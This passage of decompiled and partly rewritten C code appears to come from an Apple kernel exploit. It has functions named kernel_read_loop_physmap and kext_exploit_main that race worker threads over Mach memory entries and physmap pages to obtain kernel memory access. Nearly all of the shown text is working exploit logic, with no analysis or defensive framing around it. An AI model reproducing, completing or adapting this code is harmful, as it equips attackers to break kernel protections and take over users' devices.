        
        // +120..128: (*x25)++
        *x25 = w24 + 1;
        
        // +132..136: query_vm_region_prot_info(*(uint64_t*)x23)
        uint64_t x0 = query_vm_region_prot_info(*(uint64_t *)x23);
        
        // +140: cbz x0 → return 5
        if (x0 == 0)
            return 5;
        
        // +144: cmp x0, a3
        // +148: b.eq → mach_make_memory_entry path
        if (x0 == a3) {
            vm_size_t entry_size = size;  // str x21, [sp, #0x8]
            w0 = mach_make_memory_entry(
                                        mach_task_self(),
                                        &entry_size,              // add x1, sp, #0x8
                                        *(uint64_t *)x23,         // ldr x2, [x23]
                                        VM_PROT_READ | VM_PROT_WRITE,  // 3
                                        a4,                       // x19
                                        0);
            
            // +208: cbnz w0 → return error
            if (w0 != KERN_SUCCESS)
                return w0;
            
            // +212..220: entry_array[w24] = *a4
            // x9 = a1 + w24*4,  then str at x9+0x3644
            uint32_t *entry_array = (uint32_t *)((uint8_t *)a1 + 0x3644);
            entry_array[w24] = (uint32_t)*a4;
            
            return KERN_SUCCESS;
        }
        
        // +152: subs w26, w26, #1
        // +156: b.ne → back to ldr w24, [x25]  (+76)
        w26--;
    } while (w26 != 0);
    
    return 3;  // exhausted retries (falls through to +160 path)
}

//----- (000000000000BE20) ----------------------------------------------------
__int64 __fastcall vm_map_with_retry(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5)
{
  int v9; // w23
  __int64 result; // x0
  vm_address_t address; // [xsp+18h] [xbp-48h] BYREF

  v9 = a5 + 1;
  while ( 1 )
  {
    address = *a1;
    result = vm_map(mach_task_self_, &address, size, mask, flags, 0, 0, 0, 3, 7, 1u);
    if ( !(uint32_t)result )
      break;
    if ( !--v9 )
      return result;
  }
  *a1 = address;
  return result;
}

//----- (000000000000BED0) ----------------------------------------------------
__int64 __fastcall kernel_read_loop_physmap(__int64 a1, __int64 a2, unsigned int a3, __int64 a4)
{
  __int64 v7; // x25
  __int64 v8; // x24
  vm_size_t v9; // x21
  int v10; // w20
  unsigned int v11; // w28
  __int64 v12; // x10
  uint64_t *v13; // x20
  vm_size_t v14; // x27
  unsigned __int64 v15; // x9
  unsigned __int64 v16; // x8
  vm_size_t v17; // x22
  __int64 v18; // x9
  vm_size_t v19; // x20
  unsigned __int8 *v20; // x11
  unsigned int *v21; // x12
  unsigned __int64 v22; // x21
  __int64 v23; // x27
  mach_port_t *v24; // x25
  __int64 v25; // x0
  unsigned int v26; // w21
  vm_size_t v27; // x27
  __int64 v28; // x0
  vm_address_t v29; // x28
  __int64 v30; // x0
  __int64 memory_entry_64; // x0
  pthread_t *v32; // x24
  unsigned __int64 v33; // x22
  void *(__cdecl *v34)(void *); // x0
  unsigned int v35; // w8
  pthread_t *v36; // x22
  unsigned __int64 v37; // x25
  vm_address_t v38; // x25
  __int64 v39; // x0
  __int64 v40; // x21
  __int64 v41; // x27
  __int64 v42; // x24
  mach_port_t *v43; // x21
  unsigned __int64 v44; // x22
  vm_address_t v45; // x8
  __int64 v47; // x0
  unsigned __int64 v48; // x8
  unsigned __int64 v49; // x8
  __int64 v50; // x23
  mach_port_t *v51; // x28
  __int64 v52; // x8
  mach_port_t *v53; // x9
  mach_port_t v54; // w10
  __int64 v55; // x11
  unsigned __int64 v56; // x22
  __int64 v57; // x21
  unsigned int v58; // w28
  unsigned __int64 v59; // x23
  unsigned __int64 v60; // x0
  unsigned __int64 v61; // x8
  unsigned __int64 v62; // x9
  unsigned __int64 v63; // x10
  unsigned __int64 v64; // x10
  unsigned __int64 v65; // x9
  unsigned __int64 v66; // x10
  __int64 v67; // x20
  __int64 v68; // x0
  __int64 v69; // x21
  unsigned int v70; // w23
  unsigned __int64 v71; // x28
  unsigned __int64 v72; // x0
  unsigned __int64 v73; // x8
  unsigned __int64 v74; // x9
  unsigned __int64 v75; // x10
  unsigned __int64 v76; // x10
  unsigned __int64 v77; // x9
  unsigned __int64 v78; // x10
  mach_port_t v79; // w8
  __int64 v80; // x12
  vm_size_t v81; // x8
  uint64_t *v82; // x9
  __int64 k; // x8
  __int64 v84; // x11
  __int64 v85; // x21
  __int64 v86; // x21
  __int64 v87; // x0
  unsigned __int8 *v88; // x23
  __int64 v89; // x19
  pthread_t *v90; // x22
  __int64 v91; // x25
  unsigned __int64 v92; // x22
  bool v93; // w25
  vm_address_t v94; // x1
  __int64 m; // x22
  vm_address_t v96; // x1
  bool v97; // zf
  mach_port_t *v98; // x20
  uint64_t *v100; // x8
  __int64 v101; // x12
  vm_size_t v102; // x9
  uint64_t *v103; // x10
  __int64 i; // x8
  __int64 v105; // x11
  __int64 j; // x8
  __int64 v107; // x11
  int v108; // [xsp+Ch] [xbp-484h]
  vm_size_t v109; // [xsp+10h] [xbp-480h]
  unsigned int v110; // [xsp+1Ch] [xbp-474h]
  __int64 v111; // [xsp+28h] [xbp-468h]
  unsigned int v112; // [xsp+3Ch] [xbp-454h]
  unsigned __int64 v113; // [xsp+48h] [xbp-448h]
  __int64 v114; // [xsp+50h] [xbp-440h]
  __int64 v115; // [xsp+50h] [xbp-440h]
  __int64 v116; // [xsp+58h] [xbp-438h]
  __int64 v117; // [xsp+58h] [xbp-438h]
  unsigned __int64 v118; // [xsp+58h] [xbp-438h]
  int v119; // [xsp+6Ch] [xbp-424h]
  vm_size_t v120; // [xsp+70h] [xbp-420h]
  vm_size_t v121; // [xsp+70h] [xbp-420h]
  mem_entry_name_port_t v122; // [xsp+78h] [xbp-418h] BYREF
  mach_msg_type_number_t v123; // [xsp+7Ch] [xbp-414h] BYREF
  int info[19]; // [xsp+80h] [xbp-410h] BYREF
  __int128 v125; // [xsp+90h] [xbp-400h]
  __int128 v126; // [xsp+A0h] [xbp-3F0h]
  natural_t v127[7]; // [xsp+B0h] [xbp-3E0h] BYREF
  natural_t v128; // [xsp+CCh] [xbp-3C4h] BYREF
  vm_size_t v129; // [xsp+D0h] [xbp-3C0h] BYREF
  vm_address_t v130; // [xsp+D8h] [xbp-3B8h] BYREF
  memory_object_size_t v131; // [xsp+E0h] [xbp-3B0h] BYREF
  mach_msg_type_number_t infoCnt; // [xsp+E8h] [xbp-3A8h] BYREF
  natural_t nesting_depth; // [xsp+ECh] [xbp-3A4h] BYREF
  vm_size_t v134; // [xsp+F0h] [xbp-3A0h] BYREF
  vm_address_t v135; // [xsp+F8h] [xbp-398h] BYREF
  vm_address_t free_region_address;
  memory_object_size_t size[10]; // [xsp+100h] [xbp-390h] BYREF
  __int128 v137; // [xsp+120h] [xbp-370h]
  uint8_t v138[28]; // [xsp+130h] [xbp-360h] BYREF
  vm_address_t v139; // [xsp+150h] [xbp-340h] BYREF
  mach_port_t name; // [xsp+15Ch] [xbp-334h] BYREF
  vm_address_t v141; // [xsp+160h] [xbp-330h] BYREF
  vm_address_t address; // [xsp+168h] [xbp-328h] BYREF
  uint64_t v143[16]; // [xsp+170h] [xbp-320h] BYREF
  uint8_t v144[512]; // [xsp+1F0h] [xbp-2A0h] BYREF
  uint8_t v145[40]; // [xsp+3F0h] [xbp-A0h] BYREF
  mach_port_t object_handle[4]; // [xsp+418h] [xbp-78h] BYREF

  v7 = a1;
  memset(object_handle, 0, sizeof(object_handle));
  memset(v145, 0, 32);
  v141 = 0;
  address = 0;
  name = 0;
  v8 = a3;
  v9 = vm_page_size;
  v10 = *(uint32_t *)(a1 + 320);
  TRACE_PHYSMAP("kernel_read_loop_physmap start ctx=%llx state=%llx pages=%u out=%llx board=%d page=%llu\n",
                (unsigned long long)a1,
                (unsigned long long)a2,
                a3,
                (unsigned long long)a4,
                v10,
                (unsigned long long)v9);
  if ( (int)number_of_cpus() >= 3 && (int)number_of_cpus() > 5 )
  {
    v11 = 4;
LABEL_6:
    v12 = 100;
    goto LABEL_9;
  }
  if ( (int)number_of_cpus() < 3 )
  {
    v11 = 1;
  }
  else
  {
    v11 = number_of_cpus() - 1;
    if ( v11 > 3 )
      goto LABEL_6;
  }
  v12 = 200;
LABEL_9:
  memset(v144, 0, sizeof(v144));
  memset(v143, 0, sizeof(v143));
  v119 = v10;
  if ( _os_alloc_once_table[160] == -1 )
  {
    v13 = (uint64_t *)_os_alloc_once_table[161];
    TRACE_PHYSMAP("kernel_read_loop_physmap os_alloc_once cached slot=%llx base=%llx size=%llx\n",
                  (unsigned long long)v13,
                  v13 ? (unsigned long long)v13[0] : 0,
                  v13 ? (unsigned long long)v13[1] : 0);
  }
  else
  {
    v67 = v12;
    v68 = (__int64)_os_alloc_once(&_os_alloc_once_table[160], 0x10u, 0);
    v12 = v67;
    v13 = (uint64_t *)v68;
    TRACE_PHYSMAP("kernel_read_loop_physmap os_alloc_once init slot=%llx base=%llx size=%llx\n",
                  (unsigned long long)v13,
                  v13 ? (unsigned long long)v13[0] : 0,
                  v13 ? (unsigned long long)v13[1] : 0);
  }
  v14 = v9 * v8;
#if RECOMP_PHYSMAP_VALIDATE_CACHE
  if ( *v13 && v13[1] && v13[1] < v14 + 2 * v9 )
  {
    TRACE_PHYSMAP("kernel_read_loop_physmap stale cached region base=%llx size=%llx required=%llx; rescanning\n",
                  (unsigned long long)v13[0],
                  (unsigned long long)v13[1],
                  (unsigned long long)(v14 + 2 * v9));
    *v13 = 0;
    v13[1] = 0;
    *(uint64_t *)(a2 + 13864) = 0;
    atomic_store(0, (unsigned __int64 *)(a2 + 13872));
  }
#endif
  if ( *v13 && (v15 = v13[1]) != 0 )
  {
    *(uint64_t *)(a2 + 13864) = *v13;
    atomic_store(v15, (unsigned __int64 *)(a2 + 13872));
  }
  else if ( !*(uint64_t *)(a2 + 13864) )
  {
    v115 = v8;
    v117 = v12;
    free_region_address = 0;
    v139 = 0;
    LODWORD(v135) = 1;
    memset(size, 0, 19 * sizeof(natural_t));
    LODWORD(v134) = 19;
    v42 = vm_region_recurse_64(
            mach_task_self_,
            &free_region_address,
            &v139,
            (natural_t *)&v135,
            (vm_region_recurse_info_t)size,
            (mach_msg_type_number_t *)&v134);
    if ( (uint32_t)v42 )
    {
LABEL_58:
      v19 = 0;
      v120 = 0;
      goto LABEL_170;
    }
    while ( 1 )
    {
      if ( (unsigned int)v135 > 1 )
      {
        v42 = 5;
        goto LABEL_58;
      }
      if ( (uint32_t)v135 == 1 )
      {
        v45 = v14 + 2 * vm_page_size;
        if ( v139 >= v45 && *(memory_object_size_t *)((char *)&size[1] + 4) == 0 )
          break;
      }
      free_region_address += v139;
      v139 = 0;
      LODWORD(v135) = 1;
      memset(size, 0, 19 * sizeof(natural_t));
      LODWORD(v134) = 19;
      v47 = vm_region_recurse_64(
              mach_task_self_,
              &free_region_address,
              &v139,
              (natural_t *)&v135,
              (vm_region_recurse_info_t)size,
              (mach_msg_type_number_t *)&v134);
      if ( (uint32_t)v47 )
      {
        v42 = v47;
        goto LABEL_58;
      }
    }
    v139 = v14 + 2 * vm_page_size;
    *(uint64_t *)(a2 + 13864) = free_region_address;
    atomic_store(v45, (unsigned __int64 *)(a2 + 13872));
    *v13 = free_region_address;
    v13[1] = v139;
    TRACE_PHYSMAP("kernel_read_loop_physmap free region base=%llx size=%llx required=%llx\n",
                  (unsigned long long)free_region_address,
                  (unsigned long long)v139,
                  (unsigned long long)(v14 + 2 * vm_page_size));
    v8 = v115;
    v12 = v117;
  }
  if ( *(uint64_t *)(a2 + 13864) && (v16 = atomic_load((unsigned __int64 *)(a2 + 13872))) != 0 )
  {
    v114 = v8;
    v116 = v12;
    v110 = a3;
    v17 = 0;
    v18 = 0;
    v19 = atomic_load((unsigned __int64 *)(a2 + 13872));
    v20 = (unsigned __int8 *)(a2 + 13884);
    v21 = (unsigned int *)(a2 + 13888);
    v22 = v11;
    v109 = v14;
    v113 = v11;
    while ( 1 )
    {
      v111 = v18;
      atomic_store(0, v20);
      atomic_store(0, v21);
      memset(object_handle, 0, sizeof(object_handle));
      TRACE_PHYSMAP("kernel_read_loop_physmap iter=%lld workers=%u mem_size=%llx map_base=%llx cached_size=%llx\n",
                    (long long)v18,
                    v11,
                    (unsigned long long)v19,
                    (unsigned long long)*(uint64_t *)(a2 + 13864),
                    (unsigned long long)atomic_load((unsigned __int64 *)(a2 + 13872)));
      if ( v11 )
        break;
      v112 = 0;
      v26 = 0;
LABEL_25:
      atomic_store(v26, (unsigned int *)(a2 + 13880));
      v27 = vm_page_size;
      v28 = vm_map(mach_task_self_, &address, v19, 0, 1, v26, 0, 0, 1, 1, 1u);
      if ( (uint32_t)v28 || (v28 = vm_map_with_retry(&v141, v27 + v19, 0x1FFFFFFu, 9, 16), (uint32_t)v28) )
      {
        v42 = v28;
        v120 = v17;
LABEL_169:
        v11 = v112;
        goto LABEL_170;
      }
      v120 = v27 + v19;
      v29 = v141;
      v30 = vm_copy(mach_task_self_, address, v19, v141);
      if ( (uint32_t)v30
        || (v30 = vm_deallocate(mach_task_self_, address, v19), (uint32_t)v30)
        || (address = 0, v139 = v29 + v19, v30 = vm_allocate(mach_task_self_, &v139, v27, 100679680), (uint32_t)v30)
        || (v30 = vm_deallocate(mach_task_self_, v139, v27), (uint32_t)v30) )
      {
        v42 = v30;
        goto LABEL_169;
      }
      v134 = 0;
      v135 = v29;
      memset(size, 0, 19 * sizeof(natural_t));
      infoCnt = 19;
      nesting_depth = 0;
      memory_entry_64 = vm_region_recurse_64(
                          mach_task_self_,
                          &v135,
                          &v134,
                          &nesting_depth,
                          (vm_region_recurse_info_t)size,
                          &infoCnt);
      v11 = v112;
      if ( (uint32_t)memory_entry_64 )
        goto LABEL_71;
      v108 = *(uint32_t *)((char *)size + 0x28);
      if ( v112 )
      {
        v32 = (pthread_t *)v145;
        v33 = v113;
        while ( 1 )
        {
          v34 = (void *(__cdecl *)(void *))nullsub_1(acquire_physmap_page_atomic);
          if ( pthread_create(v32, 0, v34, (void *)a2) )
            break;
          ++v32;
          if ( !--v33 )
            goto LABEL_36;
        }
LABEL_70:
        v42 = 5;
        goto LABEL_72;
      }
LABEL_36:
      while ( 1 )
      {
        v35 = atomic_load((unsigned int *)(a2 + 13888));
        if ( v35 == v112 )
          break;
        TRACE_PHYSMAP("kernel_read_loop_physmap wait workers count=%u expected=%u flag=%u\n",
                      v35,
                      v112,
                      atomic_load((unsigned __int8 *)(a2 + 13884)));
        semaphore_timedwait_ns(v7, 0x3E8u);
      }
      TRACE_PHYSMAP("kernel_read_loop_physmap workers ready count=%u expected=%u\n", v35, v112);
      v131 = v19;
      memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &v131, 0, 1, &name, v26);
      if ( (uint32_t)memory_entry_64 )
        goto LABEL_71;
      if ( v131 != v19 )
        goto LABEL_70;
      v121 = v7;
      atomic_store(1u, (unsigned __int8 *)(a2 + 13884));
      if ( v112 )
      {
        v36 = (pthread_t *)v145;
        v37 = v113;
        while ( 1 )
        {
          memory_entry_64 = pthread_join(*v36, 0);
          if ( (uint32_t)memory_entry_64 )
            break;
          *v36++ = 0;
          if ( !--v37 )
            goto LABEL_44;
        }
LABEL_71:
        v42 = memory_entry_64;
LABEL_72:
        v120 = v19;
        goto LABEL_170;
      }
LABEL_44:
      v38 = v141;
      v129 = 0;
      v130 = v141;
      v128 = 0;
      memset(info, 0, 19 * sizeof(natural_t));
      v123 = 19;
      v39 = vm_region_recurse_64(mach_task_self_, &v130, &v129, &v128, info, &v123);
      if ( (uint32_t)v39 )
        goto LABEL_167;
      v40 = (unsigned int)(v108 + 1);
      v41 = *(uint32_t *)((char *)info + 0x28);
      v42 = 5;
      if ( v41 < (unsigned int)v40 - v112 || v41 > (unsigned int)v40 )
        goto LABEL_168;
      if ( v41 < (unsigned int)v40 )
      {
        v122 = 0;
        v42 = 5;
        v48 = v40 - v41;
        if ( v40 != v41 && v48 <= v113 )
        {
          v49 = v113 - v48;
          v118 = v49 + 1;
          if ( v49 == -1 )
          {
LABEL_83:
            if ( v118 < v113 )
            {
              v52 = ~v41 + v40;
              v53 = &object_handle[v113 + v41 - v40 + 1];
              do
              {
                v54 = *v53;
                v55 = *(unsigned int *)(a2 + 13856);
                *(uint32_t *)(a2 + 13856) = v55 + 1;
                *(uint32_t *)(a2 + 4 * v55 + 13600) = v54;
                *v53++ = 0;
                --v52;
              }
              while ( v52 );
            }
            v56 = *(uint64_t *)((char *)info + 0x44);
            if ( v119 <= 8791 )
            {
              v69 = 0;
              v70 = 0;
              v71 = *(uint64_t *)((char *)info + 0x44);
              while ( 1 )
              {
                v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v69], vm_page_size, 3);
                if ( (uint32_t)v39 )
                  break;
                v72 = query_vm_region_prot_info(*(uint64_t *)&v144[v69]);
                if ( !v72 )
                  goto LABEL_146;
                v73 = *(unsigned int *)(v121 + 384);
                if ( v72 >= v71 )
                  v74 = v71;
                else
                  v74 = v72;
                if ( v72 <= v71 )
                  v75 = v71;
                else
                  v75 = v72;
                if ( v75 - v74 >= v73 )
                  goto LABEL_135;
                if ( v72 >= v56 )
                  v76 = v56;
                else
                  v76 = v72;
                if ( v72 > v56 )
                  v56 = v72;
                if ( v56 - v76 >= v73 )
                {
LABEL_135:
                  if ( !v70 && v69 )
                    goto LABEL_158;
                  ++v70;
                  v71 = v72;
                  v56 = v72;
                }
                else
                {
                  v71 = v74;
                }
                if ( v70 >= 2 )
                {
                  v77 = *(uint64_t *)((char *)info + 0x44);
                  if ( v72 >= *(uint64_t *)((char *)info + 0x44) )
                    v78 = *(uint64_t *)((char *)info + 0x44);
                  else
                    v78 = v72;
                  if ( v72 > *(uint64_t *)((char *)info + 0x44) )
                    v77 = v72;
                  if ( v77 - v78 >= v73 )
                  {
LABEL_158:
                    v42 = mach_port_deallocate(mach_task_self_, name);
                    if ( (uint32_t)v42 )
                      goto LABEL_168;
                    v85 = 0;
                    name = 0;
                    while ( 1 )
                    {
                      v39 = vm_allocate(mach_task_self_, &v143[v85], v19, 3);
                      if ( (uint32_t)v39 )
                        goto LABEL_167;
                      if ( ++v85 == 16 )
                      {
                        v86 = 0;
                        while ( 1 )
                        {
                          v87 = query_vm_region_prot_info(v143[v86]);
                          if ( !v87 )
                            goto LABEL_146;
                          if ( v87 == *(uint64_t *)((char *)info + 0x44) )
                          {
                            v100 = (uint64_t *)v143[v86];
                            v143[v86] = 0;
                            if ( !v100 )
                            {
LABEL_219:
                              *(uint64_t *)a4 = v38;
                              *(uint64_t *)(a4 + 8) = 0;
                              *(uint64_t *)(a4 + 16) = v19;
                              *(uint64_t *)(a4 + 32) = 0;
                              v42 = 5;
                              v141 = 0;
                              goto LABEL_168;
                            }
                            v101 = v114;
                            if ( v110 )
                            {
                              v102 = vm_page_size;
                              v103 = v100;
                              do
                              {
                                *v103 = *(uint64_t *)(a2 + 13592);
                                v103 = (uint64_t *)((char *)v103 + v102);
                                --v101;
                              }
                              while ( v101 );
                            }
                            *(uint64_t *)a4 = v100;
                            *(uint64_t *)(a4 + 8) = v109;
                            *(uint64_t *)(a4 + 16) = v19;
                            *(uint32_t *)(a4 + 32) = v110;
                            v42 = vm_deallocate(mach_task_self_, v38, v19);
                            if ( !(uint32_t)v42 )
                            {
                              v141 = 0;
                              if ( !(unsigned int)iokit_slot_alloc_with_mem_entry(a2, v19, *(uint64_t *)((char *)info + 0x44), &v122) )
                                *(uint32_t *)(a4 + 36) = v122;
                              for ( i = 0; i != 16; ++i )
                              {
                                v105 = v143[i];
                                if ( v105 )
                                {
                                  *(uint64_t *)(a4 + 48 + i * 8) = v105;
                                  v143[i] = 0;
                                }
                              }
                              for ( j = 0; j != 512; j += 8 )
                              {
                                v107 = *(uint64_t *)&v144[j];
                                if ( v107 )
                                {
                                  *(uint64_t *)(a4 + 176 + j) = v107;
                                  *(uint64_t *)&v144[j] = 0;
                                }
                              }
                              return 0;
                            }
                            goto LABEL_168;
                          }
                          if ( ++v86 == 16 )
                            goto LABEL_219;
                        }
                      }
                    }
                  }
                }
                v69 += 8;
                if ( v69 == 512 )
                {
LABEL_145:
                  *(uint64_t *)a4 = v38;
                  *(uint64_t *)(a4 + 8) = 0;
                  *(uint64_t *)(a4 + 16) = v19;
                  v79 = name;
                  *(uint32_t *)(a4 + 32) = 0;
                  *(uint32_t *)(a4 + 36) = v79;
                  v141 = 0;
                  name = 0;
LABEL_146:
                  v42 = 5;
                  goto LABEL_168;
                }
              }
            }
            else
            {
              v57 = 0;
              v58 = 0;
              v59 = *(uint64_t *)((char *)info + 0x44);
              while ( 1 )
              {
                v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v57], vm_page_size, 3);
                if ( (uint32_t)v39 )
                  break;
                v60 = query_vm_region_prot_info(*(uint64_t *)&v144[v57]);
                if ( !v60 )
                  goto LABEL_146;
                v61 = *(unsigned int *)(v121 + 384);
                if ( v60 >= v59 )
                  v62 = v59;
                else
                  v62 = v60;
                if ( v60 <= v59 )
                  v63 = v59;
                else
                  v63 = v60;
                if ( v63 - v62 >= v61 )
                  goto LABEL_105;
                if ( v60 >= v56 )
                  v64 = v56;
                else
                  v64 = v60;
                if ( v60 > v56 )
                  v56 = v60;
                if ( v56 - v64 >= v61 )
                {
LABEL_105:
                  if ( !v58 && v57 )
                    goto LABEL_147;
                  ++v58;
                  v59 = v60;
                  v56 = v60;
                }
                else
                {
                  v59 = v62;
                }
                if ( v58 >= 2 )
                {
                  v65 = *(uint64_t *)((char *)info + 0x44);
                  if ( v60 >= *(uint64_t *)((char *)info + 0x44) )
                    v66 = *(uint64_t *)((char *)info + 0x44);
                  else
                    v66 = v60;
                  if ( v60 > *(uint64_t *)((char *)info + 0x44) )
                    v65 = v60;
                  if ( v65 - v66 >= v61 )
                  {
LABEL_147:
                    v80 = v114;
                    if ( v110 )
                    {
                      v81 = vm_page_size;
                      v82 = (uint64_t *)v38;
                      do
                      {
                        *v82 = *(uint64_t *)(a2 + 13592);
                        v82 = (uint64_t *)((char *)v82 + v81);
                        --v80;
                      }
                      while ( v80 );
                    }
                    *(uint64_t *)a4 = v38;
                    *(uint64_t *)(a4 + 8) = v109;
                    *(uint32_t *)(a4 + 32) = v110;
                    *(uint64_t *)(a4 + 16) = v19;
                    v42 = mach_port_deallocate(mach_task_self_, name);
                    if ( !(uint32_t)v42 )
                    {
                      name = 0;
                      if ( !(unsigned int)iokit_slot_alloc_with_mem_entry(a2, v19, *(uint64_t *)((char *)info + 0x44), &v122) )
                        *(uint32_t *)(a4 + 36) = v122;
                      for ( k = 0; k != 512; k += 8 )
                      {
                        v84 = *(uint64_t *)&v144[k];
                        if ( v84 )
                        {
                          *(uint64_t *)(a4 + 176 + k) = v84;
                          *(uint64_t *)&v144[k] = 0;
                        }
                      }
                      return 0;
                    }
                    goto LABEL_168;
                  }
                }
                v57 += 8;
                if ( v57 == 512 )
                  goto LABEL_145;
              }
            }
          }
          else
          {
            v50 = v113 + v41 - v40 + 1;
            v51 = object_handle;
            while ( 1 )
            {
              v39 = mach_port_deallocate(mach_task_self_, *v51);
              if ( (uint32_t)v39 )
                break;
              *v51++ = 0;
              if ( !--v50 )
                goto LABEL_83;
            }
          }
LABEL_167:
          v42 = v39;
        }
LABEL_168:
        v120 = v19;
        goto LABEL_169;
      }
      v39 = vm_deallocate(mach_task_self_, v38, v19);
      v11 = v112;
      if ( (uint32_t)v39 )
        goto LABEL_167;
      v141 = 0;
      v39 = mach_port_deallocate(mach_task_self_, name);
      if ( (uint32_t)v39 )
        goto LABEL_167;
      name = 0;
      v7 = v121;
      if ( v112 )
      {
        v43 = object_handle;
        v44 = v113;
        do
        {
          v39 = mach_port_deallocate(mach_task_self_, *v43);
          if ( (uint32_t)v39 )
            goto LABEL_167;
          *v43++ = 0;
        }
        while ( --v44 );
      }
      v20 = (unsigned __int8 *)(a2 + 13884);
      v18 = v111 + 1;
      v42 = 5;
      v17 = v19;
      v22 = v113;
      v21 = (unsigned int *)(a2 + 13888);
      if ( v111 + 1 == v116 )
        return v42;
    }
    v23 = v7;
    v24 = object_handle;
    while ( 1 )
    {
      size[0] = v19;
      v25 = mach_make_memory_entry_64(mach_task_self_, size, *(uint64_t *)(a2 + 13864), 1, v24, 0);
      if ( (uint32_t)v25 )
      {
        v42 = v25;
        goto LABEL_69;
      }
      if ( size[0] != v19 )
        break;
      ++v24;
      if ( !--v22 )
      {
        v112 = v11;
        v26 = object_handle[0];
        v7 = v23;
        goto LABEL_25;
      }
    }
    v42 = 5;
LABEL_69:
    v120 = v17;
  }
  else
  {
    v19 = 0;
    v120 = 0;
    v42 = 5;
  }
LABEL_170:
  v88 = (unsigned __int8 *)(a2 + 13884);
  v89 = v11;
  do
  {
LABEL_171:
    atomic_store(1u, v88);
    if ( v11 )
    {
      v90 = (pthread_t *)v145;
      v91 = v11;
      do
      {
        if ( *v90 )
        {
          pthread_join(*v90, 0);
          *v90 = 0;
        }
        ++v90;
        --v91;
      }
      while ( v91 );
    }
    v92 = 0;
    v93 = 1;
    do
    {
      v94 = v143[v92];
      if ( v94 )
      {
        v42 = vm_deallocate(mach_task_self_, v94, v19);
        if ( (uint32_t)v42 )
          break;
        v143[v92] = 0;
      }
      v93 = v92++ < 0xF;
    }
    while ( v92 != 16 );
  }
  while ( v93 );
  for ( m = 0; m != 512; m += 8 )
  {
    v96 = *(uint64_t *)&v144[m];
    if ( v96 )
    {
      v42 = vm_deallocate(mach_task_self_, v96, vm_page_size);
      if ( (uint32_t)v42 )
        goto LABEL_171;
      *(uint64_t *)&v144[m] = 0;
    }
  }
  if ( v141 )
    v97 = v120 == 0;
  else
    v97 = 1;
  if ( !v97 )
    vm_deallocate(mach_task_self_, v141, v120);
  if ( address && v19 )
    vm_deallocate(mach_task_self_, address, v19);
  if ( name + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, name);
  if ( v11 )
  {
    v98 = object_handle;
    do
    {
      if ( *v98 + 1 >= 2 )
        mach_port_deallocate(mach_task_self_, *v98);
      ++v98;
      --v89;
    }
    while ( v89 );
  }
  TRACE_PHYSMAP("kernel_read_loop_physmap exit err=%lld state=%llx v141=%llx address=%llx name=%x workers=%u\n",
                (long long)v42,
                (unsigned long long)a2,
                (unsigned long long)v141,
                (unsigned long long)address,
                name,
                v11);
  return v42;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (000000000000CB98) ----------------------------------------------------
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall kext_exploit_main(uint64_t x0, uint32_t w1, uint64_t x2)
{
  __int64 v3; // x0
  uint32_t *v4; // x2
  uint32_t *v5; // x20
  int v6; // w1
  int v7; // w21
  uint64_t v8; // x19
  int v9; // w0
  int v10; // w8
  __int64 v11; // x19
  int v12; // w0
  void *(__cdecl *threadEntry)(void *); // x0
  int v14; // w8
  mach_port_t v15; // w20
  __int64 i; // x22
  mach_port_name_t v17; // w1
  __int64 j; // x21
  mach_port_name_t v19; // w1
  uint32_t *v20; // x0
  unsigned int v21; // w8
  unsigned __int64 v22; // x21
  mach_port_name_t v23; // w1
  struct
  {
    uint32_t v25[2824]; // [xsp+8h] [xbp-66E8h] BYREF
    vm_address_t address; // [xsp+2C28h] [xbp-3AC8h]
    vm_size_t size; // [xsp+2C30h] [xbp-3AC0h]
    vm_address_t v28; // [xsp+2C38h] [xbp-3AB8h]
    vm_size_t v29; // [xsp+2C40h] [xbp-3AB0h]
    uint8_t v30[2096]; // [xsp+2C48h] [xbp-3AA8h]
    mach_port_name_t name; // [xsp+3478h] [xbp-3278h]
    void *v32; // [xsp+3480h] [xbp-3270h]
    unsigned int v33; // [xsp+3488h] [xbp-3268h]
    vm_address_t v34; // [xsp+3490h] [xbp-3260h]
    vm_size_t v35; // [xsp+3498h] [xbp-3258h]
    vm_address_t v36; // [xsp+34A0h] [xbp-3250h]
    vm_size_t v37; // [xsp+34A8h] [xbp-3248h]
    uint8_t v38[72]; // [xsp+34B0h] [xbp-3240h]
    mach_port_name_t v39; // [xsp+34F8h] [xbp-31F8h]
    uint8_t padding[0x315C];
  } locals;
  uint64_t args[3]; // [xsp+6658h] [xbp-98h] BYREF
  pthread_t thread; // [xsp+6670h] [xbp-80h] BYREF
  pthread_attr_t attr; // [xsp+6678h] [xbp-78h] BYREF
#define v25 locals.v25
#define address locals.address
#define size locals.size
#define v28 locals.v28
#define v29 locals.v29
#define v30 locals.v30
#define name locals.name
#define v32 locals.v32
#define v33 locals.v33
#define v34 locals.v34
#define v35 locals.v35
#define v36 locals.v36
#define v37 locals.v37
#define v38 locals.v38
#define v39 locals.v39

  v5 = (uint32_t *)x2;
  v7 = w1;
  v8 = x0;
  _Static_assert(sizeof(locals) == 0x6650, "kext_exploit_main local frame size mismatch");
  bzero(&locals, sizeof(locals));
  v25[0] = v7;
  v9 = pthread_attr_init(&attr);
  if ( v9 )
  {
    if ( v9 >= 0 )
      v10 = v9;
    else
      v10 = -v9;
    v11 = v10 | 0x40000000u;
  }
  else
  {
    v12 = pthread_attr_setdetachstate(&attr, 1);
    if ( v12
      || (args[2] = v8,
          thread = 0,
          args[0] = 0x1001,
          args[1] = (uint64_t)v25,
          threadEntry = (void *(__cdecl *)(void *))nullsub_1(kext_image_scan_init),
          (v12 = pthread_create(&thread, &attr, threadEntry, args)) != 0)
      || (v12 = pthread_join(thread, 0)) != 0 )
    {
      if ( v12 >= 0 )
        v14 = v12;
      else
        v14 = -v12;
      v11 = v14 | 0x40000000u;
      pthread_attr_destroy(&attr);
    }
    else
    {
      v11 = LODWORD(args[0]);
      pthread_attr_destroy(&attr);
      if ( !(uint32_t)v11 )
        *v5 = 0;
    }
  }
  v15 = mach_task_self_;
  if ( address && size )
  {
    vm_deallocate(mach_task_self_, address, size);
    address = 0;
    size = 0;
  }
  if ( v28 && v29 )
  {
    vm_deallocate(mach_task_self_, v28, v29);
    v28 = 0;
    v29 = 0;
  }
  for ( i = 0; i != 1024; i += 4 )
  {
    v17 = *(uint32_t *)&v30[i];
    if ( v17 + 1 >= 2 )
